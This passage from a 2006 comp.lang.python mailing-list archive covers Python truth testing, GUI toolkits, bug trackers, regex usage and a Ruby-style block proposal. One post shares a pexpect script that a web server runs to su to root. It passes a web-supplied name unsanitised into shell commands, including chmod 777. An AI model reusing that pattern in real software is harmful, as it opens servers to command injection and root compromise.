you could care about. > So > it seems that python has generalised the len function to provide > the number of elements in the container. Sure. But what about a container where the number of elements isn't well-defined, e.g. iterators? Or something like a binary tree, where counting the number of items is relatively expensive, but telling whether it is empty or not is cheaper than dirt? Here's a real example: it can be expensive to count the number of files in a directory -- on my PC, it takes almost a third of a second to count a mere 15,000 files in a single directory. (There may be a more sensible way of counting the number of files under Linux than ls | wc -l, but if so I don't know it.) But why slog through 15,000 files if all you need to know is if the directory is empty or not? As soon as you see one file, you know it isn't empty. Stop counting! Who cares whether there is one file or 15,000 files? > I have written a Tree class(*). It can be used as a drop in replacement > anywhere where a directory is used, as long as there is a full order > relationship in the key domain. That tree class provides a __len__ > method that will anser with the number of items in the tree just > as a directory would and I see nothing wrong with that. And I'm happy for you. But imagine a container object that maps a URL to some piece of data fetched from the Internet. Counting the size of the Internet is infeasible -- even if you were willing to try, it could take *weeks* of computation to determine! But one can certainly tell if there is an Internet out there or not. Such an object would always be True, unless you had lost network connectivity. My container object will work perfectly well with "if internet" but not with "if len(internet) > 0". You could even iterate over it, sort of, by following links from one site to another. But why are you checking the length of a container before iterating over it? If you are writing something like this: if len(container) != 0: for item in container: do_something() then just stop it! > Of course I can't account for all possible ways someone wishes to > write a class, but I don't see what is wrong with counting on > the fact that an empty container has a length of zero. Because you shouldn't assume containers have well-defined lengths unless you actually care about the length, and you shouldn't assume that length of zero implies "nothing to see here" unless you *know* that this is the case. You should leave defining empty up to the container class itself. Otherwise, you might be right 99 times in a hundred, but that hundredth time will bite you. > I can write a container class where the truth value of an object > is independent of whether or not the object is empty and then > the "if obj:" idiom will fail to provide true polymorphism too. A class that deliberate breaks the semantics of Python truth testing just for the sake of breaking code really is a pathological case. Polymorphism doesn't mean "will work with anything without exception". -- Steve. From martin.dion at gmail.com Mon Oct 30 12:30:35 2006 From: martin.dion at gmail.com (martdi) Date: 30 Oct 2006 09:30:35 -0800 Subject: How to convert " " in a string to blank space? In-Reply-To: <1162229197.315384.79940@f16g2000cwb.googlegroups.com> References: <1162229197.315384.79940@f16g2000cwb.googlegroups.com> Message-ID: <1162229435.829283.214180@i42g2000cwa.googlegroups.com> ??? wrote: > Is there any simple way to solve this problem? >>> myString = " " >>> myString = myString.replace(" ", "") From gh at gregor-horvath.com Mon Oct 16 01:21:56 2006 From: gh at gregor-horvath.com (Gregor Horvath) Date: Mon, 16 Oct 2006 07:21:56 +0200 Subject: python's OOP question In-Reply-To: <1160969393.803021.274070@e3g2000cwe.googlegroups.com> References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com> <1160965758.324644.131920@i42g2000cwa.googlegroups.com> <1160969393.803021.274070@e3g2000cwe.googlegroups.com> Message-ID: <735bc$453316f5$506c2949$27697@news.chello.at> neoedmund schrieb: > python use multiple inheritance. > but "inheritance" means you must inherite all methods from super type. > now i just need "some" methods from one type and "some" methods from > other types, > to build the new type. > Do you think this way is more flexible than tranditional inheritance? > Probably your problem is better solved with delegation instead of inheritance. -- Servus, Gregor From bdesth.quelquechose at free.quelquepart.fr Tue Oct 31 18:00:01 2006 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Wed, 01 Nov 2006 00:00:01 +0100 Subject: scared about refrences... In-Reply-To: <1162251429.386255.289620@e3g2000cwe.googlegroups.com> References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com> <1162251429.386255.289620@e3g2000cwe.googlegroups.com> Message-ID: <4547d0d7$0$7246$426a34cc@news.free.fr> Nick Vatamaniuc a ?crit : (snip) > In Python all the primitives are copied and all other entities are > references. Plain wrong. There's no "primitives" (ie : primitive data types) in Python, only objects. And they all get passed the same way. From steve at holdenweb.com Tue Oct 3 22:12:05 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 04 Oct 2006 03:12:05 +0100 Subject: Python to use a non open source bug tracker? In-Reply-To: <7xr6xo97nd.fsf@ruckus.brouhaha.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1159908166.587313.57370@i3g2000cwc.googlegroups.com> <7xr6xo97nd.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > "Istvan Albert" writes: > >>But this will definitely not happen over a short period of time and >>even in the worst case scenario there will be a few years in which the >>development can take place in an awesome environment. I've looked at >>the JIRA demo, and wow, it really seems like an amazingly cool way to >>do software development. > > > Well, what's so cool about it? Most large free software projects seem > to use Bugzilla. I'd never looked at the Bugzilla code but from > descriptions here it now sounds like the situation with CVS as of a > few years ago. Maybe it's time for a rewrite/replacement, a la > darcs/SVN/whatever. Please feel free to go right ahead. Should be ready n a month or twelve ... Like others I have my doubts about using commercial products to support open source development but the guys who did the evaluation have chosen, and I'm not about to second guess them. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From steve at holdenweb.com Sat Oct 7 05:48:04 2006 From: steve at holdenweb.com (Steve Holden) Date: Sat, 07 Oct 2006 10:48:04 +0100 Subject: problem with split In-Reply-To: <1160203574.984791.222500@c28g2000cwb.googlegroups.com> References: <1160194063.352905.106210@e3g2000cwe.googlegroups.com> <03eei21fpk5d6s75hb6fnaeruk0o7ob18k@4ax.com> <1160201348.602509.9900@m73g2000cwd.googlegroups.com> <1160203574.984791.222500@c28g2000cwb.googlegroups.com> Message-ID: Eric_Dexter at msn.com wrote: > I think I am very close the return line is tripping me up. (this is > the first list that I have tried to program in python) > > return (s.group[1], s.group[2]) > > Traceback (most recent call last): > File "C:\Python24\Lib\site-packages\boa-constructor\test of > snake\test_of_csoundroutines_list.py", line 5, in ? > v = csoundroutines.csdInstrumentList('bay-at-night.csd') > File "C:\Python24\Lib\site-packages\boa-constructor\test of > snake\csoundroutines.py", line 43, in csdInstrumentList > return (s.group[1], s.group[2]) > TypeError: unsubscriptable object > .group() is a *method of the patch object not a data attribute, so you have to *call* it, not treat it like a list or dict. Try something like return (s.group(1), s.group(2)) regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From half.italian at gmail.com Tue Oct 17 23:15:36 2006 From: half.italian at gmail.com (half.italian at gmail.com) Date: 17 Oct 2006 20:15:36 -0700 Subject: pexpect with apache Message-ID: <1161141336.176386.19650@m73g2000cwd.googlegroups.com> Hi all. I try not to post until I am stuck in hole with no way out. I fought with this for several hours, and am currently in the hole. I'm doing a proof of concept for creating afp shares dynamically through a web interface from a client machine. I use a bit of php to setup a simple form, and then have the php execute my python script on the server. The python script tries to 'su' to root to create the share, create dirs, set perms, etc The python script alone works fine as 'www'. I can become 'www', run it from the command line and the share is made. But when I try to have the web server execute it, I continually get a password failure. I'm positive the password is correct. Any ideas? ~Sean D ~~~~~~~~~~~test.py #! /usr/bin/env python import commands, os, P, pexpect sharename = sys.argv[1] root = "/Users/Shared" sharepath = os.path.join(root, sharename) password = P.P() COMMAND_PROMPT = '[$%#]' child = pexpect.spawn('su') i = child.expect([pexpect.TIMEOUT, '[Pp]assword:'], timeout=1) child.sendline(password.Decrypt(password.sean)) i = child.expect (['su: Sorry', COMMAND_PROMPT]) if i == 0: print 'Password not accepted' sys.exit(1) else: print "Making dir: %s" % sharepath child.sendline("mkdir %s" % sharepath) i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1) print "Setting group to 'audio'" child.sendline("chgrp audio %s" % sharepath) i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1) print "setting owner to 'audio01'" child.sendline("chown audio01 %s" % sharepath) i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1) print "Opening permissions" child.sendline("chmod 777 %s" % sharepath) i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1) print "sharing -a %s -s 100" % sharepath child.sendline("sharing -a %s -s 100" % sharepath) i = child.expect([pexpect.TIMEOUT, COMMAND_PROMPT] ,timeout=1) sys.exit(0) ~~~~~~~~~~~test.php

Mount afp://xxx.xxx.xxx.xxx/{$_GET['sharename']}

"; } else { echo "

Failed creating share!

"; } } else { echo "
"; echo ""; echo ""; echo "
Name of share:
"; } ?> From toreriks at hotmail.com Thu Oct 5 11:05:42 2006 From: toreriks at hotmail.com (Tor Erik Soenvisen) Date: Thu, 5 Oct 2006 15:05:42 +0000 (UTC) Subject: Oracle database export Message-ID: Hi, I need to export an Oracle database to a DDL-formated file. On the Web, I found a Python script that did exactly this for a MS Access database, but not one for Oracle databases. Does anyone know of such a tool or Python script. regards tores From dustin at v.igoro.us Thu Oct 19 12:30:04 2006 From: dustin at v.igoro.us (Dustin J. Mitchell) Date: Thu, 19 Oct 2006 11:30:04 -0500 Subject: Calling functions In-Reply-To: References: Message-ID: <4537A80C.2060203@v.igoro.us> Tommy Grav wrote: > I have a small program that goes something like this > > def funcA() : pass > def funcB() : pass > def funcC() : pass > > def determine(f): > t = f() > return t > > What I would like to do is be able to > > n = determine(funcA) > m = determine(funcB) > > But I can't really figure out how to do this (I think it is > possible :) Except for the spaces after the def's at the top (are those legal?), it should work as written. determine(funcA) results in 'f' being bound to 'funcA'; then 't = f()' results in 'funcA' being called, and its resulting being bound to 't'; 'determine' returns that result, and it's bound to 'n'. Is that not what you wanted? Dustin From ian at excess.org Tue Oct 3 21:34:02 2006 From: ian at excess.org (Ian Ward) Date: Tue, 03 Oct 2006 21:34:02 -0400 Subject: ANN: Urwid 0.9.7.1 - Console UI Library Message-ID: <45230F8A.3010302@excess.org> Announcing Urwid 0.9.7.1 ------------------------ Urwid home page: http://excess.org/urwid/ Tarball: http://excess.org/urwid/urwid-0.9.7.1.tar.gz About this release: =================== This release fixes bugs introduced in the Padding and Overlay classes in the previous release. These bugs prevent the graph.py example program from running. New in this release: ==================== * Fixed bugs in Padding and Overlay widgets introduced in 0.9.7. About Urwid =========== Urwid is a console UI library for Python. It features fluid interface resizing, UTF-8 support, multiple text layouts, simple attribute markup, powerful scrolling list boxes and flexible interface design. Urwid is released under the GNU LGPL. From pydecker at gmail.com Tue Oct 24 14:58:59 2006 From: pydecker at gmail.com (Peter Decker) Date: Tue, 24 Oct 2006 14:58:59 -0400 Subject: python GUIs comparison (want) In-Reply-To: <453E3370.9060008@kevin-walzer.com> References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> <453E3370.9060008@kevin-walzer.com> Message-ID: On 10/24/06, Kevin Walzer wrote: > wxPython: > Pro: Popular, actively developed, wraps native widgets, looks great on > Windows, commercial-friendly license > Con: Based on C++ toolkit; docs assume knowledge of C++; some think > coding style is too much like C++; complex to build and deploy on Linux > (wraps Gtk) I agree with this assessment. I hated writing the code in wxPython, since it was very ugly, with tons of getters/setters lots of constants and ids WRITTEN_IN_ALL_CAPS. Yuck. That's why I think you and others are doing a grave disservice by ignoring Dabo. With Dabo, you get the best-looking toolkit across platforms (wxPython), but a clean, Pythonic API with none of the C++ crud. I've been a dozen times more productive since I switched to doing my UI code in dabo.ui, and even better, I don't have to constantly look up the names of the appropriate constants, etc. - the API is that much more consistent. -- # p.d. From roman.yakovenko at gmail.com Tue Oct 10 17:44:43 2006 From: roman.yakovenko at gmail.com (Roman Yakovenko) Date: Tue, 10 Oct 2006 23:44:43 +0200 Subject: C++ to Python? In-Reply-To: <1B0B405F-56A9-4A41-B5C8-DA6E04248B1E@comcast.net> References: <6110AB6F-D20C-4F12-9347-B7FB64930329@comcast.net> <7465b6170610101255i4569613nfb41424225d60446@mail.gmail.com> <1B0B405F-56A9-4A41-B5C8-DA6E04248B1E@comcast.net> Message-ID: <7465b6170610101444r6c8795a4k4d4debf0123fa2fd@mail.gmail.com> On 10/10/06, Frank Martinez wrote: > Hi, Roman. > Thanks. I seem a bit confused. Does Py++ actually convert the C++ code to > Python or does it just provide a wrapper to C++ code? A second one. Now when I read your mail one more time, I think I was wrong, because you want to find some kind of "translator" C++ code: std::cout << 1; translator output: print 1 Am I right? If so, I am pretty sure that such "translator" does not exist - too complex. I think you can try another approach: to create Python bindings to your C++ code and than incrementaly to drop it( C++ ). This way you will not introduce too many bugs and you will be able to move forward. -- Roman Yakovenko C++ Python language binding http://www.language-binding.net/ From XX.XmcX at XX.XmclaveauX.com Thu Oct 12 02:59:05 2006 From: XX.XmcX at XX.XmclaveauX.com (MC) Date: Thu, 12 Oct 2006 08:59:05 +0200 Subject: News on versions modules for Python-2.5? References: <45269df8$0$25949$ba4acef3@news.orange.fr> <1160465315.639829.51780@c28g2000cwb.googlegroups.com> Message-ID: Hi! Ok. Downloaded. Thanks -- @-salutations Michel Claveau From jakobsg at gmail.com Mon Oct 2 18:35:40 2006 From: jakobsg at gmail.com (jakobsg at gmail.com) Date: 2 Oct 2006 15:35:40 -0700 Subject: Determin network interface Message-ID: <1159828540.208599.187310@m73g2000cwd.googlegroups.com> Hi. How can I determin the hwaddr or ipaddress of the networkinterface that is used in an outgoing connection? I need a kind of traceroute in python or lowlevel socket function that can help me find out which one of my hosts networkinterfaces that is actually used or going to be used to reach a certain remote host. Can I do this? From fredrik at pythonware.com Thu Oct 19 02:08:40 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 19 Oct 2006 08:08:40 +0200 Subject: Getting method name from within the class method In-Reply-To: <20061018135955.70db4999@opal.pathscale.com> References: <20061018135955.70db4999@opal.pathscale.com> Message-ID: Mitko Haralanov wrote: > I need to be able to get the name of the currently executed method > within that method. I know that the method object does have the > __name__ attribute but I know know how to access it from withing the > method. > > Something like this: > > class A: > .... > def a_method (self, this, that): > print <__name__> print "a_method" From steve at holdenweb.com Thu Oct 5 02:22:07 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 05 Oct 2006 07:22:07 +0100 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> Message-ID: Fredrik Lundh wrote: > Steve Holden wrote: > > >>>you're not on the infrastructure list, I hear. python.org could still need a >>>few more roundup volunteers, but it's not like nobody's prepared to con- >>>tribute manhours. don't underestimate the community. >>> >> >>No, I'm not on the infrastructure list, but I know that capable people >>*are*: and you know I am quite capable of donating my time to the cause, >>when I have it to spare (and sometimes even when I don't). > > > what I was trying to say (between the lines) was that not only have > the people on that list worked hard to do the evaluation (not to mention > all the developers around the world that has worked even harder to set > up test trackers), there's also been a good community response to the > committee's call for "6-10 volunteers". > Excellent. I've just complained elsewhere in this thread that those dissenting didn't appear to want to rectify the situation by offering their time. It would be nice to be wrong about that. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From http Mon Oct 23 11:15:32 2006 From: http (Paul Rubin) Date: 23 Oct 2006 08:15:32 -0700 Subject: implementation of "in" that returns the object. References: Message-ID: <7xbqo36p2j.fsf@ruckus.brouhaha.com> "Jorge Vargas" writes: > I need to check if an object is in a list AND keep a reference to the > object I have done it this way but is there a better one? > > >>> def inplusplus(value,listObj): > ... for i in listObj: > ... if i is value: > ... return value > ... return False That's bug-prone. Suppose the object's value is false (i.e. it's the empty string, or None, or the boolean False, or whatever)? You're best off raising an exception if the value is not found. You could also do something like that using the list.index method. From g.brandl-nospam at gmx.net Sat Oct 28 06:27:13 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Sat, 28 Oct 2006 12:27:13 +0200 Subject: question about True values In-Reply-To: References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: J. Clifford Dyer wrote: > >>> (1 > 0) < 1 > False > >>> 1 > 0 < 1 > True > >>> 1 > (0 < 1) > False > >>> 10 > (0 < 1) > True I hope you know why this works the way it does. Georg From steve at holdenweb.com Tue Oct 10 07:33:29 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 10 Oct 2006 12:33:29 +0100 Subject: Python component model In-Reply-To: <4p1dobFgqul0U1@uni-berlin.de> References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> <7xlknotwuy.fsf@ruckus.brouhaha.com> <4p14h4Fgk9jaU1@uni-berlin.de> <4p1dobFgqul0U1@uni-berlin.de> Message-ID: Diez B. Roggisch wrote: [...] >>Just the same, one can use IronPython to call components written in >>other languages. And, I believe, vice versa. > > > Sure, as I can do it in jython. But the key point is: can your ordinary > python-object be published as a component? At least for jython I can > say "no", you will have to subclass an already existing > java-object/interface. And I have difficulties imagining that it is any > different in .NET - because I've read statements that claimed that the > structure of the VM/runtime is orientied towards single-inheritance > statically typed languages as C#/java. > The answer to this question is currently beyond me. Maybe someone who knows more about IronPython can elucidate. I do know (as you probably do also) that Python generates code for the .NET CLR, however. I don't think there's any *theoretical* reason why IronPython components can't be called from other languages, but as to the practicalities (specifically whether IronPython produces linkable assemblies) we'll have to wait for someone who knows. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From __peter__ at web.de Thu Oct 5 06:11:06 2006 From: __peter__ at web.de (Peter Otten) Date: Thu, 05 Oct 2006 12:11:06 +0200 Subject: dictionary of list from a file References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com> <1159992675.176015.248850@c28g2000cwb.googlegroups.com> <1160042610.560396.103440@k70g2000cwa.googlegroups.com> Message-ID: sjdevnull at yahoo.com wrote: > for line in (l.rstrip("\n") for l in file("test.txt", "rU") if l[0] != > "\n"): > ???k,?v?=?line.split() > ???d.setdefault(k,?[]).append(v) Note that this snippet will produce the same output with or without the rstrip() method call. Peter From hg at nospam.com Mon Oct 9 13:06:07 2006 From: hg at nospam.com (hg) Date: Mon, 09 Oct 2006 12:06:07 -0500 Subject: Tkinter & systray In-Reply-To: <1160398570.908401.206960@m73g2000cwd.googlegroups.com> References: <1160398570.908401.206960@m73g2000cwd.googlegroups.com> Message-ID: <8svWg.8880$Go3.2399@dukeread05> billie wrote: > Hi all. I'd like to develop a GUI-based application the most portable > as possible, able to run in systray. > I think that, for portability reasons, Tkinter could be the best > choice, so I tried to google a little bit about it. > According to this : > http://mail.python.org/pipermail/python-list/2002-September/123257.html > ...it seems that it's impossible (or better, it WAS impossible in > September 2002) handling this case by using Tkinter. > Four years later is there a way to make this happen? > > Thanks in advance. > I know wxPython does that and I assume PyQT also does. I do not think Tkinter is more portable than the above two anymore ... just easier to install since built-in. hg From kw at kevin-walzer.com Tue Oct 24 11:38:24 2006 From: kw at kevin-walzer.com (Kevin Walzer) Date: Tue, 24 Oct 2006 11:38:24 -0400 Subject: python GUIs comparison (want) In-Reply-To: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> Message-ID: <453E3370.9060008@kevin-walzer.com> jiang.haiyun at gmail.com wrote: > Now i began to learn GUI programming. There are so many > choices of GUI in the python world, wxPython, pyGTK, PyQT, > Tkinter, .etc, it's difficult for a novice to decide, however. > Can you draw a comparison among them on easy coding, pythonish design, > beautiful and generous looking, powerful development toolkit, and > sufficient documentation, .etc. > It's helpful for a GUI beginner. > Thank you. > > > :)Sorry for my poor english. > Tkinter: Pro: Default GUI library for Python; stable; well-supported Con: Needs extension for complex/rich GUI's; core widgets are dated in look and feel; many modern extensions in Tcl/Tk have not made it into Tkinter or are not widely used (Tile, Tablelist) wxPython: Pro: Popular, actively developed, wraps native widgets, looks great on Windows, commercial-friendly license Con: Based on C++ toolkit; docs assume knowledge of C++; some think coding style is too much like C++; complex to build and deploy on Linux (wraps Gtk) PyQt: Pro: Powerful, cross-platform, sophisticated GUI's Con: Based on C++ toolkit; docs assume knowledge of C++; commercial deployment is expensive; free deployment must be GPL; smaller development and user community than wxPython PyGtk: Pro: Sophisticated GUI's, cross-platform (Linux and Win32); very popular on some platforms; active development community Con: Not native on OS X -- Kevin Walzer Code by Kevin http://www.codebykevin.com From fulvio at tm.net.my Wed Oct 25 04:08:56 2006 From: fulvio at tm.net.my (Fulvio) Date: Wed, 25 Oct 2006 16:08:56 +0800 Subject: Handling emails In-Reply-To: <1161630451.506987.207820@h48g2000cwc.googlegroups.com> References: <1161630451.506987.207820@h48g2000cwc.googlegroups.com> Message-ID: <200610251608.56270.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** On Tuesday 24 October 2006 03:07, Gerard Flanagan wrote: > The 'PopClient' class here might help you: I got a look rather later. Let me say that is impressively pythonic :-) On the other hand I've to go deep on learning the use of Python classes, as much as the POPClient likes a different config file and will upset a big chunk of my code. Functions are good, I'll study the emails handling, only I need some time to prepair a method to discern local and remote emails and a way to save/recover the most important ones. F From mensanator at aol.com Wed Oct 11 01:34:39 2006 From: mensanator at aol.com (mensanator at aol.com) Date: 10 Oct 2006 22:34:39 -0700 Subject: OT: Sarcasm and irony In-Reply-To: <12iosfh75stcf0e@corp.supernews.com> References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> <3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com> <12iosfh75stcf0e@corp.supernews.com> Message-ID: <1160544879.915425.250200@m7g2000cwm.googlegroups.com> Grant Edwards wrote: > On 2006-10-10, Steve Holden wrote: > > >> probably point out that I am writing from Denmark and was thinking > >> specifically of a situation where a dane told me they were being > >> 'ironic' (when what they meant, obviously, was that they were being > >> ironical), when I asked what they meant by that they said "saying the > >> opposite of what I mean" I responded: "so, in other words, what you > >> mean by irony is 'sarcasm'" She responded "yes, that's what it means" > > And she was pretty much right. Sarcasm is by far the most > common form of irony. > > > Well, my assertion about America clearly doesn't preclude to > > possibility of confusion on the part of the Danish too :-). > > You are right about the general degradation of the > > (understanding of the) meaning of irony. People are just too > > damned sloppy with language nowadays. > > Sarcasm is a form of irony. Irony is when what is meant is > different from the obvious literal meaning of the statement. > > >> She had a degree in communications. > > Which may explain why she knew what irony was when so few > people seem to. > > Like Alanis Morisette said about the song "Isn't it Ironic": > What's ironic about the song is that it doesn't actually > contain any irony. Any? Don't people plan June weddings thinking the weather will be nice? And isn't one of the defintions of irony when things turn out the opposite of what you expect? > > -- > Grant Edwards grante Yow! While I'm in > at LEVITTOWN I thought I'd > visi.com like to see the NUCLEAR > FAMILY!! From goonmail at netspace.net.au Mon Oct 9 17:39:03 2006 From: goonmail at netspace.net.au (goon) Date: 9 Oct 2006 14:39:03 -0700 Subject: Python component model In-Reply-To: References: Message-ID: <1160429943.671916.43720@m73g2000cwd.googlegroups.com> > or IBM's Eclipse for Java Or Eclipse for Python using PyDev? [0] Reference [0] PyDev, 'Fabio Zadrozny, Aleks Totic, plugin allowing Python/Jython to use Eclipse as an IDE' [Accessed Tuesday, 10 October 2006] From theller at ctypes.org Fri Oct 20 15:53:01 2006 From: theller at ctypes.org (Thomas Heller) Date: Fri, 20 Oct 2006 21:53:01 +0200 Subject: Using Python scripts in Windows Explorer In-Reply-To: <1161357605.861266.144980@m73g2000cwd.googlegroups.com> References: <1161357605.861266.144980@m73g2000cwd.googlegroups.com> Message-ID: <4539291D.2060200@ctypes.org> Ben Sizer schrieb: > I'd like to be able to drag a file onto a Python script in Windows > Explorer, or send that file to the script via the Send To context-menu > option, so I can then process that file via sys.argc. > > Unfortunately, I can't drag items onto the Python script, because > Windows doesn't recognise that the script is executable (unless I > double-click it, upon which it runs as usual, without the command line > parameter of course) and won't set it as a drop target. And it won't > even appear in the Send To menu after the usual steps are taken to get > it there. > > I then tried to wrap it in a batch file, but encounter a problem, where > that batch file is able to execute the Python file if I double-click > the batch file, but if I drag a file onto it it says it can no longer > find the Python script. > > Are there any simple and workable solutions for this sort of thing? > I think you can create a shortcut to the Python script, and then drag files on it. Thomas From tejovathi.p at gmail.com Tue Oct 17 03:40:31 2006 From: tejovathi.p at gmail.com (Teja) Date: 17 Oct 2006 00:40:31 -0700 Subject: COM Error -- Urgent help In-Reply-To: <45347682$0$25906$ba4acef3@news.orange.fr> References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com> <45347682$0$25906$ba4acef3@news.orange.fr> Message-ID: <1161070831.102884.37930@e3g2000cwe.googlegroups.com> M?ta-MCI wrote: > Hi! > > > .func( is not defined... > > > @-salutations > -- > Michel Claveau I am sorry. By func(dest) I meant MyNavigate(dest). Can u please help me out... Thnks, Teja.P From kogrover at gmail.com Thu Oct 19 11:57:06 2006 From: kogrover at gmail.com (kogrover at gmail.com) Date: 19 Oct 2006 08:57:06 -0700 Subject: pywin32 COM sort in Excel (late binding fails, early binding works) (+py2exe) Message-ID: <1161273426.239477.260660@h48g2000cwc.googlegroups.com> ISSUE: COM Excel Sort works with Early Binding, but not Late Binding, but py2exe only does Late Binding I have code similar to this (type from notes, so there may be a typo...) import win32com.client xl = win32com.client.Dispatch("Excel.Application") xl.Visible = False xl.ScreenUpdating = False wb = xl.Workbooks.Open("h:\\p.xls") sht = wb.Sheets("SheetName") # wb.Worksheets("Sheetname") sht.Cells.Sort(Key1=sht.Cells(2,1), Order1=1, Header=1, Orientation=1) Python: 2.4.3 pywin32 200 py2exe 0.6.5 Office 2000 The sort DOES NOT work if called from a normal install (e.g. using late binding): the Header line gets sorted with all the data. ID Value Mort 232 2 54 54 33 232 ---> 54 33 232 232 2 54 ID Value Mort HOWEVER, If I run makepy.py and select the "Microsoft Excel 9.0" (--> I'm typing this from memory!) and run it, it creates the GUID'd py file in gen_py If I run the above code again (on a clean copy of the xls file), it DOES sort the sheet correctly --- the header line is left alone. ID Value Mort 232 2 54 54 33 232 ---> ID Value Mort 54 33 232 232 2 54 Normally, this would not be an issue, but when I bundle my app using py2exe it does not grab the gen_py stuff. Any help appreciated... From fidel.andrade at gmail.com Fri Oct 20 20:00:07 2006 From: fidel.andrade at gmail.com (Fidel) Date: Fri, 20 Oct 2006 18:00:07 -0600 Subject: I like python. In-Reply-To: <1161379703.121362.135490@m7g2000cwm.googlegroups.com> References: <1161379703.121362.135490@m7g2000cwm.googlegroups.com> Message-ID: <254cf6720610201700y4a92a8f0ja0be7066c93efea6@mail.gmail.com> Although I just noticed that if the extension is .py then it will still open a command window. It does indeed need to have a .pyw extension for this to work. So all of you were correct. it needs to use popen and have .pyw as the extension in order for python not to open a command window. Thank you all for you help and support. On 20 Oct 2006 14:28:23 -0700, Ant wrote: > > Fidel wrote: > > Renaming the file doesn't work. I am on windows... There is a specific > > line of code that tells python not to bother even opening a window. > > Seriously, renaming the script to .pyw should work from a standard > python install. If it doesn't then the file handler for that extension > must have got messed up somewhere along the way. You can fix this by > right-clicking the renamed (*.pyw) file and selecting "open with..." -> > "Choose Program" and finding the pythonw.exe. > > -- > http://mail.python.org/mailman/listinfo/python-list > -- Fidel From brenocon at gmail.com Sat Oct 14 01:00:56 2006 From: brenocon at gmail.com (brenocon at gmail.com) Date: 13 Oct 2006 22:00:56 -0700 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> Message-ID: <1160802056.744732.323540@e3g2000cwe.googlegroups.com> [repost -- fixed formatting] Hi all -- Compared to the Python I know and love, Ruby isn't quite the same. However, it has at least one terrific feature: "blocks". Whereas in Python a "block" is just several lines of locally-scoped-together code, in Ruby a "block" defines a closure (anonymous function). To avoid confusion let's call them Ruby block-closures. I see them as just a syntax for defining closures and passing them into method calls. I think something analogous could be added to Python in a very simple manner that would make closures much more readable and usable, and nail some use cases nicely. To define a new closure and pass it into a function call, there are two current methods: inline 'def' and 'lambda'. Consider the following Twisted-ish code: deferred = fetchPage('http://python.org') def _showResponse(response) print "fancy formatting: %s" % response.text deferred.addCallback(_showResponse) Lots of Twisted code has to be written backwards like this. Theoretically, it might be nice to use lambda right in the addCallback() call, like: deferred.addCallback(lambda r: print("fancy formatting %s" %r.text) ) But this is awkward since the lambda is constrained to be one line; you can't come back later and add much to the callback's code. Furthermore, this example isn't even legal, because 'print' isn't a function, but a statement -- lambda is further constrained to only contain an expression. Many have complained about this crippled-ness of lambda, but it actually makes some sense. Since Python uses colons and indentation to define blocks of code, it would be awkward to close a multiline lambda. The best I could think of would look like deferred.addCallback(lambda r: print("fancy formatting %s" % r.text) ) ^ | That trailing paranthesis is WAY un-Pythonic. We don't close code blocks like that! And in general, declaring big multiline anonymous functions in the middle of a list of normal variable arguments is weird -- it just doesn't fit. It's perfectly legal to pass in 4 closures, interspersed with number and string arguments. Imagine defining all of those inline with 'lambda' expressions! And what about nesting? And then there's the term "lambda", while a great homage to Lisp and computation theory, just isn't the friendliest programming vocab term. (from my limited understanding,) Ruby block-closures assume a specific use case: You want to pass exactly one multiline, defined-right-there closure to a method when calling it. Therefore, you should get to define the closure *immediately following* the method call. I suggest a Python version with a keyword 'using' (or 'with'?) that takes the block of code as a closure, and passes it to the method call as the *last argument*. The above example becomes: deferred.addCallback() using response: print "fancy formatting %s" % response.text and in general, the following two code snippets are equivalent: def 